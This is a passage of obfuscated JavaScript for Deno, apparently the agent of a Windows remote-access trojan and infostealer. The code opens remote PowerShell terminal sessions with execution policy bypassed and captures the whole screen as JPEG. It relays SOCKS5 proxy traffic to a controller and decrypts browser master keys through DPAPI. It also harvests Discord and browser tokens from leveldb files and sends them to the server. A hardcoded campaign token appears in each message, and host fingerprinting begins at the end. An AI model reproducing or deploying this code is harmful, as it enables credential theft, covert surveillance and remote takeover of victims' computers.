_0x297["code"] === "EADDRINUSE" ? (console["log"]("[" + new Date()["toISOString"]() + "] Port " + _0x4ac4 + " is in use, attempt " + _0x21f4c0 + "/" + _0x5a6b6d7), _0x21f4c0 >= _0x5a6b6d7 && (console["log"]("[" + new Date()["toISOString"]() + "] Max attempts reached, another instance is running"), _0x4032e6(![]))) : (console["error"]("[" + new Date()["toISOString"]() + "] Mutex error:", _0x297), _0x4032e6(![]));
}), mutexServer["listen"](_0x4ac4, "127.0.0.1", () => {
const _0x908e8f2 = _0x298;
console["log"]("[" + new Date()["toISOString"]() + "] Mutex acquired on port " + _0x4ac4 + " (attempt " + _0x21f4c0 + ")"), _0x4032e6(!![]);
});
} catch (_0x185b2) {
console["error"]("[" + new Date()["toISOString"]() + "] Failed to create mutex (attempt " + _0x21f4c0 + "):", _0x185b2), _0x21f4c0 >= _0x5a6b6d7 && _0x4032e6(![]);
}
};
_0x2d72ec4(), _0x57531a6 = setInterval(() => {
_0x21f4c0 < _0x5a6b6d7 && !_0x299 ? _0x2d72ec4() : clearInterval(_0x57531a6);
}, 1000);
});
}
var PtySessionManager = class {
["sessions"] = new Map();
["cleanupInterval"];
["outputCallback"] = null;
constructor() {
const _0xac36bc3 = potato;
this["cleanupInterval"] = setInterval(() => {
const _0x487fa = _0xac36bc3;
this["cleanupIdleSessions"]();
}, 5 * 60 * 1000);
}
["setOutputCallback"](_0x508bed3) {
const _0x1916b = potato;
this["outputCallback"] = _0x508bed3;
}
async ["startSession"](_0x511c8, _0x3ceb3 = 80, _0xe4b3 = 24) {
const _0x283ad = potato;
if (this["sessions"]["has"](_0x511c8)) {
console["log"]("PTY session " + _0x511c8 + " already exists");
return;
}
console["log"]("Starting new PTY session: " + _0x511c8 + " (" + _0x3ceb3 + "x" + _0xe4b3 + ")");
try {
const _0x3de0c2 = ["https://jsr.io/@sigma/pty-ffi/0.39.1/mod.ts"]["join"](""),
{
Pty: _0x8f6e4e3
} = await import(_0x3de0c2),
_0x3bfb2d4 = new _0x8f6e4e3("powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass");
try {
_0x3bfb2d4["resize"]({
"cols": _0x3ceb3,
"rows": _0xe4b3
});
} catch {}
const _0x302 = {
"id": _0x511c8,
"pty": _0x3bfb2d4,
"lastActivityTime": Date["now"](),
"isReading": !![]
};
this["sessions"]["set"](_0x511c8, _0x302), this["startBackgroundReader"](_0x302), console["log"]("PTY session " + _0x511c8 + " initialized and reader started");
} catch (_0x2641ed5) {
console["error"]("Failed to start PTY session " + _0x511c8 + ":", _0x2641ed5), console["error"]("This may be caused by security policy blocking unsigned DLLs");
throw new Error("PTY not available: " + (_0x2641ed5 instanceof Error ? _0x2641ed5["message"] : "Unknown error"));
}
}
async ["startBackgroundReader"](_0x370edc5) {
const _0x2d56b = potato;
try {
for await (const _0x3a06eb4 of _0x370edc5["pty"]["readable"]) {
if (!_0x370edc5["isReading"]) break;
_0x3a06eb4 && this["outputCallback"] && this["outputCallback"](_0x370edc5["id"], _0x3a06eb4);
}
} catch {}
}
["writeInput"](_0x58d9b4, _0x3d7a3f3) {
const _0x3712f = potato,
_0x41af5f5 = this["sessions"]["get"](_0x58d9b4);
if (!_0x41af5f5) {
console["error"]("PTY session " + _0x58d9b4 + " not found");
return;
}
_0x41af5f5["lastActivityTime"] = Date["now"](), _0x41af5f5["pty"]["write"](_0x3d7a3f3);
}
["resize"](_0x2eeb3, _0x1c7f2a3, _0x3a7a2) {
const _0x2df5f = potato,
_0x306 = this["sessions"]["get"](_0x2eeb3);
if (!_0x306) {
console["error"]("PTY session " + _0x2eeb3 + " not found");
return;
}
_0x306["lastActivityTime"] = Date["now"](), _0x306["pty"]["resize"]({
"cols": _0x1c7f2a3,
"rows": _0x3a7a2
});
}
["stopSession"](_0x5090df6) {
const _0x3ca22c2 = potato,
_0x31ab4 = this["sessions"]["get"](_0x5090df6);
_0x31ab4 ? (console["log"]("Stopping PTY session: " + _0x5090df6), _0x31ab4["isReading"] = ![], _0x31ab4["pty"]["close"](), this["sessions"]["delete"](_0x5090df6)) : console["log"]("PTY session " + _0x5090df6 + " not found (already stopped or never started)");
}
["hasSession"](_0x10c9eb3) {
const _0x40615c2 = potato;
return this["sessions"]["has"](_0x10c9eb3);
}
["cleanupIdleSessions"]() {
const _0x26f3 = potato,
_0x27e5e2 = Date["now"](),
_0x21e0be3 = 30 * 60 * 1000;
for (const [_0x143ca4, _0xa67d1a3] of this["sessions"]) {
_0x27e5e2 - _0xa67d1a3["lastActivityTime"] > _0x21e0be3 && (console["log"]("Cleaning up idle PTY session " + _0x143ca4), this["stopSession"](_0x143ca4));
}
}
["destroy"]() {
const _0x48e = potato;
clearInterval(this["cleanupInterval"]);
for (const [_0x3c8] of this["sessions"]) {
this["stopSession"](_0x3c8);
}
}
},
ptySessionManager = new PtySessionManager(),
import_jpeg_js = __toESM(require_jpeg_js()),
HWND = "pointer",
HDC = "pointer",
HBITMAP = "pointer",
HGDIOBJ = "pointer",
user322 = Deno["dlopen"]("user32.dll", {
"GetDesktopWindow": {
"parameters": [],
"result": HWND
},
"GetDC": {
"parameters": [HWND],
"result": HDC
},
"ReleaseDC": {
"parameters": [HWND, HDC],
"result": "i32"
},
"GetSystemMetrics": {
"parameters": ["i32"],
"result": "i32"
}
}),
shcore = Deno["dlopen"]("shcore.dll", {
"SetProcessDpiAwareness": {
"parameters": ["i32"],
"result": "i32"
}
}),
gdi32 = Deno["dlopen"]("gdi32.dll", {
"CreateCompatibleDC": {
"parameters": [HDC],
"result": HDC
},
"CreateCompatibleBitmap": {
"parameters": [HDC, "i32", "i32"],
"result": HBITMAP
},
"SelectObject": {
"parameters": [HDC, HGDIOBJ],
"result": HGDIOBJ
},
"BitBlt": {
"parameters": [HDC, "i32", "i32", "i32", "i32", HDC, "i32", "i32", "u32"],
"result": "i32"
},
"StretchBlt": {
"parameters": [HDC, "i32", "i32", "i32", "i32", HDC, "i32", "i32", "i32", "i32", "u32"],
"result": "i32"
},
"GetDIBits": {
"parameters": [HDC, HBITMAP, "u32", "u32", "pointer", "pointer", "u32"],
"result": "i32"
},
"DeleteObject": {
"parameters": [HGDIOBJ],
"result": "i32"
},
"DeleteDC": {
"parameters": [HDC],
"result": "i32"
}
}),
SM_XVIRTUALSCREEN = 76,
SM_YVIRTUALSCREEN = 77,
SM_CXVIRTUALSCREEN = 78,
SM_CYVIRTUALSCREEN = 79,
SRCCOPY = 13369376,
DIB_RGB_COLORS = 0,
BI_RGB = 0,
PROCESS_PER_MONITOR_DPI_AWARE = 2;
function createBitmapInfoHeader(_0x100efe3, _0xf05bf2) {
const _0x40ad1d2 = potato,
_0x3df70c4 = new ArrayBuffer(40),
_0x566cb11 = new DataView(_0x3df70c4);
return _0x566cb11["setUint32"](0, 40, !![]), _0x566cb11["setInt32"](4, _0x100efe3, !![]), _0x566cb11["setInt32"](8, -_0xf05bf2, !![]), _0x566cb11["setUint16"](12, 1, !![]), _0x566cb11["setUint16"](14, 32, !![]), _0x566cb11["setUint32"](16, BI_RGB, !![]), _0x566cb11["setUint32"](20, 0, !![]), _0x566cb11["setInt32"](24, 0, !![]), _0x566cb11["setInt32"](28, 0, !![]), _0x566cb11["setUint32"](32, 0, !![]), _0x566cb11["setUint32"](36, 0, !![]), new Uint8Array(_0x3df70c4);
}
try {
shcore["symbols"]["SetProcessDpiAwareness"](PROCESS_PER_MONITOR_DPI_AWARE);
} catch (_0x39c5b2) {
console["warn"]("Failed to set DPI awareness:", _0x39c5b2);
}
function getScreenshot() {
const _0x4166c = potato;
try {
console["log"]("Taking screenshot...");
const _0x475c3 = user322["symbols"]["GetSystemMetrics"](SM_XVIRTUALSCREEN),
_0x1b0ee3 = user322["symbols"]["GetSystemMetrics"](SM_YVIRTUALSCREEN),
_0x122cde9 = user322["symbols"]["GetSystemMetrics"](SM_CXVIRTUALSCREEN),
_0x315 = user322["symbols"]["GetSystemMetrics"](SM_CYVIRTUALSCREEN);
console["log"]("Virtual screen: " + _0x122cde9 + "x" + _0x315 + " at (" + _0x475c3 + ", " + _0x1b0ee3 + ")");
const _0x2e5ff3 = user322["symbols"]["GetDesktopWindow"](),
_0x1279e5 = user322["symbols"]["GetDC"](_0x2e5ff3),
_0x4a065e6 = gdi32["symbols"]["CreateCompatibleDC"](_0x1279e5),
_0x450b4 = gdi32["symbols"]["CreateCompatibleBitmap"](_0x1279e5, _0x122cde9, _0x315);
gdi32["symbols"]["SelectObject"](_0x4a065e6, _0x450b4), gdi32["symbols"]["StretchBlt"](_0x4a065e6, 0, 0, _0x122cde9, _0x315, _0x1279e5, _0x475c3, _0x1b0ee3, _0x122cde9, _0x315, SRCCOPY);
const _0x404cd2 = createBitmapInfoHeader(_0x122cde9, _0x315),
_0x3b4d4 = _0x122cde9 * _0x315 * 4,
_0x463b7d7 = new Uint8Array(_0x3b4d4);
gdi32["symbols"]["GetDIBits"](_0x4a065e6, _0x450b4, 0, _0x315, Deno["UnsafePointer"]["of"](new Uint8Array(_0x463b7d7["buffer"])), Deno["UnsafePointer"]["of"](new Uint8Array(_0x404cd2["buffer"])), DIB_RGB_COLORS), gdi32["symbols"]["DeleteObject"](_0x450b4), gdi32["symbols"]["DeleteDC"](_0x4a065e6), user322["symbols"]["ReleaseDC"](_0x2e5ff3, _0x1279e5);
const _0x2c9caa7 = new Uint8Array(_0x3b4d4);
for (let _0xafd02e10 = 0; _0xafd02e10 < _0x3b4d4; _0xafd02e10 += 4) {
_0x2c9caa7[_0xafd02e10] = _0x463b7d7[_0xafd02e10 + 2], _0x2c9caa7[_0xafd02e10 + 1] = _0x463b7d7[_0xafd02e10 + 1], _0x2c9caa7[_0xafd02e10 + 2] = _0x463b7d7[_0xafd02e10], _0x2c9caa7[_0xafd02e10 + 3] = _0x463b7d7[_0xafd02e10 + 3];
}
const _0x5a23c3 = (0, import_jpeg_js["encode"])({
"data": _0x2c9caa7,
"width": _0x122cde9,
"height": _0x315
}, 85);
return console["log"]("Screenshot captured! JPEG size: " + _0x5a23c3["data"]["length"] + " bytes"), _0x5a23c3["data"];
} catch (_0x162f3) {
console["error"]("Error taking screenshot:", _0x162f3);
throw _0x162f3;
}
}
var import_node_buffer2 = require("node:buffer"),
import_node_crypto2 = require("node:crypto"),
import_node_net2 = require("node:net"),
connections = new Map();
async function sendCommand(_0x543dcc3, _0x40ed2) {
const _0x282c = potato,
_0x37ed2 = await serizalizeCommandFromAgent(_0x40ed2);
_0x543dcc3["send"](_0x37ed2);
}
function handleSocks5Connect(_0x27fc6a10, _0x48703b7, _0x32476e7, _0x1a4f5, _0xa140d5) {
const _0x318 = potato;
console["log"]("Connecting to " + _0x48703b7 + ":" + _0x32476e7 + " for connection " + _0x27fc6a10);
const _0x4761cb7 = (0, import_node_net2["connect"])(_0x32476e7, _0x48703b7);
_0x4761cb7["on"]("connect", () => {
const _0x5e9fbb4 = _0x318;
console["log"]("Connected to " + _0x48703b7 + ":" + _0x32476e7), connections["set"](_0x27fc6a10, {
"connectionId": _0x27fc6a10,
"socket": _0x4761cb7
}), sendCommand(_0x1a4f5, {
"huidMd5": _0xa140d5,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU",
"taskOutputs": [{
"id": (0, import_node_crypto2["randomUUID"])(),
"type": "socks5-connect-result",
"status": "completed",
"connectionId": _0x27fc6a10,
"success": !![]
}]
}), _0x4761cb7["on"]("data", _0x104c3 => {
const _0x1494c = _0x5e9fbb4;
console["log"]("Received data from " + _0x48703b7 + ":" + _0x32476e7 + " (" + _0x104c3["length"] + " bytes)"), sendCommand(_0x1a4f5, {
"huidMd5": _0xa140d5,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU",
"taskOutputs": [{
"id": (0, import_node_crypto2["randomUUID"])(),
"type": "socks5-data",
"status": "completed",
"connectionId": _0x27fc6a10,
"data": _0x104c3
}]
});
}), _0x4761cb7["on"]("close", () => {
const _0x34bd = _0x5e9fbb4;
console["log"]("Connection " + _0x27fc6a10 + " to " + _0x48703b7 + ":" + _0x32476e7 + " closed"), connections["delete"](_0x27fc6a10), sendCommand(_0x1a4f5, {
"huidMd5": _0xa140d5,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU",
"taskOutputs": [{
"id": (0, import_node_crypto2["randomUUID"])(),
"type": "socks5-close",
"status": "completed",
"connectionId": _0x27fc6a10
}]
});
});
}), _0x4761cb7["on"]("error", _0xa63a3 => {
const _0xe7f6c = _0x318;
console["error"]("Connection " + _0x27fc6a10 + " error:", _0xa63a3["message"]), sendCommand(_0x1a4f5, {
"huidMd5": _0xa140d5,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU",
"taskOutputs": [{
"id": (0, import_node_crypto2["randomUUID"])(),
"type": "socks5-connect-result",
"status": "failed",
"connectionId": _0x27fc6a10,
"success": ![],
"error": _0xa63a3["message"]
}]
});
});
}
function handleSocks5Data(_0x322, _0x3c7d4) {
const _0x3e6c2b2 = potato,
_0x1cd87a4 = import_node_buffer2["Buffer"]["isBuffer"](_0x3c7d4) ? _0x3c7d4 : import_node_buffer2["Buffer"]["from"](_0x3c7d4["data"]);
console["log"]("Forwarding data to connection " + _0x322 + " (" + _0x1cd87a4["length"] + " bytes)");
const _0x2f6bca5 = connections["get"](_0x322);
_0x2f6bca5 && !_0x2f6bca5["socket"]["destroyed"] ? _0x2f6bca5["socket"]["write"](_0x1cd87a4) : console["warn"]("Connection " + _0x322 + " not found or destroyed");
}
function handleSocks5Close(_0xa1e3cc7) {
const _0x11803e2 = potato;
console["log"]("Closing connection " + _0xa1e3cc7);
const _0x2c21 = connections["get"](_0xa1e3cc7);
_0x2c21 && !_0x2c21["socket"]["destroyed"] ? (_0x2c21["socket"]["end"](), console["log"]("Connection " + _0xa1e3cc7 + " closed")) : console["warn"]("Connection " + _0xa1e3cc7 + " not found or already closed"), connections["delete"](_0xa1e3cc7);
}
var import_node_buffer4 = require("node:buffer"),
import_node_fs2 = require("node:fs"),
import_node_path2 = __toESM(require("node:path")),
import_node_process2 = __toESM(require("node:process")),
import_node_buffer3 = require("node:buffer"),
crypt32 = null,
kernel323 = null;
function initFFI() {
const _0x3fd4ee2 = potato;
if (crypt32 && kernel323) return;
try {
crypt32 = Deno["dlopen"]("crypt32.dll", {
"CryptUnprotectData": {
"parameters": ["pointer", "pointer", "pointer", "pointer", "pointer", "u32", "pointer"],
"result": "i32"
}
}), kernel323 = Deno["dlopen"]("kernel32.dll", {
"LocalFree": {
"parameters": ["pointer"],
"result": "pointer"
}
});
} catch (_0xfe99e2) {
console["error"]("[DPAPI] Failed to initialize FFI:", _0xfe99e2);
}
}
function dpapiDecrypt(_0x3f26ce5) {
const _0x790f = potato;
(!crypt32 || !kernel323) && initFFI();
if (!crypt32 || !kernel323) return null;
try {
const _0x334c1d4 = new ArrayBuffer(_0x3f26ce5["length"]),
_0x5c54e2 = new Uint8Array(_0x334c1d4);
_0x5c54e2["set"](_0x3f26ce5);
const _0x10d35c4 = new ArrayBuffer(16),
_0x4c2e3 = new DataView(_0x10d35c4);
_0x4c2e3["setUint32"](0, _0x3f26ce5["length"], !![]);
const _0x363cc2 = Deno["UnsafePointer"]["of"](_0x334c1d4),
_0x3927b2 = BigInt(Deno["UnsafePointer"]["value"](_0x363cc2));
_0x4c2e3["setBigUint64"](8, _0x3927b2, !![]);
const _0x5999f3 = new ArrayBuffer(16),
_0x1df04a6 = new DataView(_0x5999f3);
_0x1df04a6["setUint32"](0, 0, !![]), _0x1df04a6["setBigUint64"](8, 0x0n, !![]);
const _0x548e2 = crypt32["symbols"]["CryptUnprotectData"](Deno["UnsafePointer"]["of"](_0x10d35c4), null, null, null, null, 0, Deno["UnsafePointer"]["of"](_0x5999f3));
if (_0x548e2 === 0) return null;
const _0x565f4 = _0x1df04a6["getUint32"](0, !![]),
_0x4677a4 = _0x1df04a6["getBigUint64"](8, !![]);
if (_0x4677a4 === 0x0n || _0x565f4 === 0) return null;
const _0x12714e5 = Deno["UnsafePointer"]["create"](_0x4677a4);
if (!_0x12714e5) return null;
const _0x20f0f3 = new Uint8Array(_0x565f4),
_0xe5561f3 = new Deno["UnsafePointerView"](_0x12714e5);
for (let _0x7cea5d6 = 0; _0x7cea5d6 < _0x565f4; _0x7cea5d6++) {
_0x20f0f3[_0x7cea5d6] = _0xe5561f3["getUint8"](_0x7cea5d6);
}
return kernel323["symbols"]["LocalFree"](_0x12714e5), _0x20f0f3;
} catch (_0x4de2) {
return console["error"]("[DPAPI] Decryption error:", _0x4de2), null;
}
}
async function parseMasterKey(_0x5f4e3) {
const _0x2e0c = potato;
try {
console["log"]("[DPAPI] Reading Local State from: " + _0x5f4e3);
const _0x4cc3 = await Deno["readTextFile"](_0x5f4e3),
_0x40220f3 = JSON["parse"](_0x4cc3),
_0x326 = _0x40220f3?. ["os_crypt"]?. ["encrypted_key"];
if (!_0x326) return console["log"]("[DPAPI] No encrypted_key found in Local State"), null;
console["log"]("[DPAPI] Found encrypted key (base64 length: " + _0x326["length"] + ")");
const _0x258ec5 = import_node_buffer3["Buffer"]["from"](_0x326, "base64");
console["log"]("[DPAPI] Decoded encrypted key length: " + _0x258ec5["length"] + " bytes");
const _0x26d3 = _0x258ec5["subarray"](0, 5)["toString"]();
if (_0x258ec5["length"] < 5 || _0x26d3 !== "DPAPI") return console["log"]("[DPAPI] Invalid prefix: \"" + _0x26d3 + "\", expected \"DPAPI\""), null;
console["log"]("[DPAPI] Valid DPAPI prefix found, attempting decryption...");
const _0x330 = dpapiDecrypt(_0x258ec5["subarray"](5));
return _0x330 ? console["log"]("[DPAPI] Master key decrypted successfully: " + _0x330["length"] + " bytes") : console["log"]("[DPAPI] Master key decryption failed"), _0x330;
} catch (_0x51e6a2) {
return console["error"]("[DPAPI] Failed to parse master key:", _0x51e6a2), null;
}
}
var DISCORD_PATHS = ["%APPDATA%\\discord", "%APPDATA%\\discordcanary", "%APPDATA%\\discordptb", "%APPDATA%\\Lightcord"],
BROWSER_PATHS = ["%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default", "%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Profile 1", "%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Profile 2", "%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Profile 3", "%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Profile 4", "%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Profile 5", "%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Profile 6", "%LOCALAPPDATA%\\Yandex\\YandexBrowser\\User Data\\Default", "%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default", "%LOCALAPPDATA%\\BraveSoftware\\Brave-Browser\\User Data\\Default", "%APPDATA%\\Google\\Chrome SxS\\User Data", "%APPDATA%\\Opera Software\\Opera Stable", "%APPDATA%\\Opera Software\\Opera GX Stable", "%APPDATA%\\Amigo\\User Data", "%APPDATA%\\Torch\\User Data", "%APPDATA%\\Kometa\\User Data", "%APPDATA%\\Orbitum\\User Data", "%APPDATA%\\CentBrowser\\User Data", "%APPDATA%\\7Star\\7Star\\User Data", "%APPDATA%\\Sputnik\\Sputnik\\User Data", "%LOCALAPPDATA%\\Vivaldi\\User Data\\Default", "%APPDATA%\\Epic Privacy Browser\\User Data", "%APPDATA%\\uCozMedia\\Uran\\User Data\\Default", "%LOCALAPPDATA%\\Iridium\\User Data\\Default"],
TOKEN_REGEX = /[\w-]{24}\.[\w-]{6}\.[\w-]{27}/g,
MFA_TOKEN_REGEX = /mfa\.[\w-]{84}/g,
ENCRYPTED_TOKEN_REGEX = /dQw4w9WgXcQ:([^"]+)/g;
function expandPath(_0x2098ee3) {
const _0x18c = potato,
_0x23f2 = import_node_process2["default"]["env"]["LOCALAPPDATA"] || "",
_0x1b7d3a3 = import_node_process2["default"]["env"]["APPDATA"] || "";
return _0x2098ee3["replace"](/%LOCALAPPDATA%/g, _0x23f2)["replace"](/%APPDATA%/g, _0x1b7d3a3);
}
async function decryptToken(_0x336, _0x15e3) {
const _0xd1635c2 = potato;
if (_0x336["length"] < 3) return null;
const _0x41a79f4 = import_node_buffer4["Buffer"]["from"](_0x336["subarray"](0, 3))["toString"]();
if (_0x41a79f4 !== "v10" && _0x41a79f4 !== "v11") return null;
if (_0x336["length"] < 3 + 12 + 16) return null;
try {
const _0x5f151f4 = _0x336["subarray"](3, 15),
_0x4c5da3 = _0x336["subarray"](15),
_0xf1 = new ArrayBuffer(_0x15e3["length"]);
new Uint8Array(_0xf1)["set"](_0x15e3);
const _0x406e6d4 = new ArrayBuffer(_0x5f151f4["length"]);
new Uint8Array(_0x406e6d4)["set"](_0x5f151f4);
const _0xe371d3 = new ArrayBuffer(_0x4c5da3["length"]);
new Uint8Array(_0xe371d3)["set"](_0x4c5da3);
const _0x36c3d2 = await crypto["subtle"]["importKey"]("raw", _0xf1, {
"name": "AES-GCM"
}, ![], ["decrypt"]),
_0x25ded2 = await crypto["subtle"]["decrypt"]({
"name": "AES-GCM",
"iv": _0x406e6d4
}, _0x36c3d2, _0xe371d3),
_0x4763ff3 = new TextDecoder("utf-8")["decode"](_0x25ded2);
return _0x4763ff3;
} catch {
return null;
}
}
async function scanLevelDb(_0x2e58a3, _0x436e0d4) {
const _0x371a = potato,
_0x38eac9 = [];
try {
const _0xbf2 = await import_node_fs2["promises"]["readdir"](_0x2e58a3);
for (const _0xc12d4 of _0xbf2) {
if (!_0xc12d4["endsWith"](".log") && !_0xc12d4["endsWith"](".ldb")) continue;
const _0x143c4e3 = import_node_path2["default"]["join"](_0x2e58a3, _0xc12d4);
try {
const _0x3467b3 = await import_node_fs2["promises"]["readFile"](_0x143c4e3),
_0x340 = import_node_buffer4["Buffer"]["from"](_0x3467b3)["toString"]("utf-8"),
_0x435e8e3 = _0x340["matchAll"](ENCRYPTED_TOKEN_REGEX);
for (const _0x1e8af4 of _0x435e8e3) {
if (_0x1e8af4[1] && _0x436e0d4) try {
const _0x4ed10e3 = import_node_buffer4["Buffer"]["from"](_0x1e8af4[1], "base64"),
_0xe1 = await decryptToken(new Uint8Array(_0x4ed10e3), _0x436e0d4);
_0xe1 && _0xe1["length"] > 0 && !_0x38eac9["includes"](_0xe1) && (_0x38eac9["push"](_0xe1), console["log"]("[Discord] Found encrypted token (decrypted)"));
} catch {}
}
const _0x4b8b1a3 = _0x340["matchAll"](TOKEN_REGEX);
for (const _0x554baa3 of _0x4b8b1a3) {
const _0x305c3 = _0x554baa3[0];
!_0x38eac9["includes"](_0x305c3) && (_0x38eac9["push"](_0x305c3), console["log"]("[Discord] Found token (standard)"));
}
const _0x1e645d3 = _0x340["matchAll"](MFA_TOKEN_REGEX);
for (const _0x32401d3 of _0x1e645d3) {
const _0x320b3 = _0x32401d3[0];
!_0x38eac9["includes"](_0x320b3) && (_0x38eac9["push"](_0x320b3), console["log"]("[Discord] Found token (MFA)"));
}
} catch {}
}
} catch {}
return _0x38eac9;
}
async function sendDiscordTokens(_0x334d5, _0x2ebdaf5) {
const _0x41e37c2 = potato;
if (_0x2ebdaf5["length"] === 0) return;
const _0x4d4a9e3 = {
"huidMd5": _0x334d5["huidMd5"],
"token": _0x334d5["token"],
"taskOutputs": [{
"id": _0x334d5["taskId"],
"type": "stealer-discord",
"status": "completed",
"tokens": _0x2ebdaf5
}]
},
_0x1247a2 = await serizalizeCommandFromAgent(_0x4d4a9e3);
try {
_0x334d5["ws"]["send"](_0x1247a2), console["log"]("[Discord] Sent " + _0x2ebdaf5["length"] + " token(s) to server");
} catch (_0x4003a2) {
console["error"]("[Discord] Failed to send data: WebSocket error", _0x4003a2);
}
}
async function grabDiscord(_0xb9d3) {
const _0x3c3c = potato;
console["log"]("[Discord] Starting Discord token collection...");
const _0x3e003a8 = [],
_0x5616a2 = [...DISCORD_PATHS, ...BROWSER_PATHS]["map"](expandPath);
for (const _0x30173e6 of _0x5616a2) {
try {
await import_node_fs2["promises"]["access"](_0x30173e6);
} catch {
continue;
}
console["log"]("[Discord] Checking " + _0x30173e6);
const _0x343 = import_node_path2["default"]["join"](_0x30173e6, "Local State");
let _0x3fb68f5 = null;
try {
await import_node_fs2["promises"]["access"](_0x343), _0x3fb68f5 = await parseMasterKey(_0x343), _0x3fb68f5 && console["log"]("[Discord] Found master key");
} catch {}
const _0x3915fe5 = import_node_path2["default"]["join"](_0x30173e6, "Local Storage", "leveldb");
try {
await import_node_fs2["promises"]["access"](_0x3915fe5), console["log"]("[Discord] Scanning " + _0x3915fe5);
const _0x762c2 = await scanLevelDb(_0x3915fe5, _0x3fb68f5);
for (const _0x43ee3 of _0x762c2) {
!_0x3e003a8["includes"](_0x43ee3) && _0x3e003a8["push"](_0x43ee3);
}
} catch {}
}
return console["log"]("[Discord] Found " + _0x3e003a8["length"] + " unique token(s)"), _0xb9d3 && _0x3e003a8["length"] > 0 && (await sendDiscordTokens(_0xb9d3, _0x3e003a8)), _0x3e003a8;
}
var import_node_child_process2 = require("node:child_process"),
import_node_os2 = __toESM(require("node:os")),
import_node_process3 = __toESM(require("node:process")),
import_node_util = require("node:util"),
execAsync = (0, import_node_util["promisify"])(import_node_child_process2["exec"]),
kernel324,
advapi32,
ntdll;
try {
Deno?. ["dlopen"] && (kernel324 = Deno["dlopen"]("kernel32.dll", {
"GetComputerNameExW": {
"parameters": ["i32", "buffer", "buffer"],
"result": "i32"
},
"GetCurrentProcess": {
"parameters": [],
"result": "pointer"
},
"CloseHandle": {
"parameters": ["pointer"],
"result": "i32"
},
"GetProductInfo": {
"parameters": ["u32", "u32", "u32", "u32", "buffer"],
"result": "i32"
}
}), advapi32 = Deno["dlopen"]("advapi32.dll", {
"OpenProcessToken": {
"parameters": ["pointer", "u32", "buffer"],
"result": "i32"
},
"GetTokenInformation": {
"parameters": ["pointer", "i32", "buffer", "u32", "buffer"],
"result": "i32"
},
"AllocateAndInitializeSid": {
"parameters": ["buffer", "u8", "u32", "u32", "u32", "u32", "u32", "u32", "u32", "u32", "buffer"],
"result": "i32"
},
"EqualSid": {
"parameters": ["pointer", "pointer"],
"result": "i32"
},
"FreeSid": {
"parameters": ["pointer"],
"result": "pointer"
}
}), ntdll = Deno["dlopen"]("ntdll.dll", {
"RtlGetVersion": {
"parameters": ["buffer"],
"result": "i32"
}
}));
} catch (_0x25b4) {
console["warn"]("Failed to load Windows DLLs:", _0x25b4);
}
function getUsername() {
const _0x3ba32d2 = potato;
try {
return Deno?. ["env"]?. ["get"]("USERNAME") || import_node_process3["default"]["env"]["USERNAME"] || import_node_os2["default"]["userInfo"]()["username"];
} catch {
return void 0;
}
}
function getHostname() {
const _0x1439b = potato;
try {
return Deno?. ["env"]?. ["get"]("COMPUTERNAME") || import_node_process3["default"]["env"]["COMPUTERNAME"] || import_node_os2["default"]["hostname"]();
} catch {
return void 0;
}
}
function getDomain() {
const _0x3e910c2 = potato;
if (!kernel324) return void 0;
try {
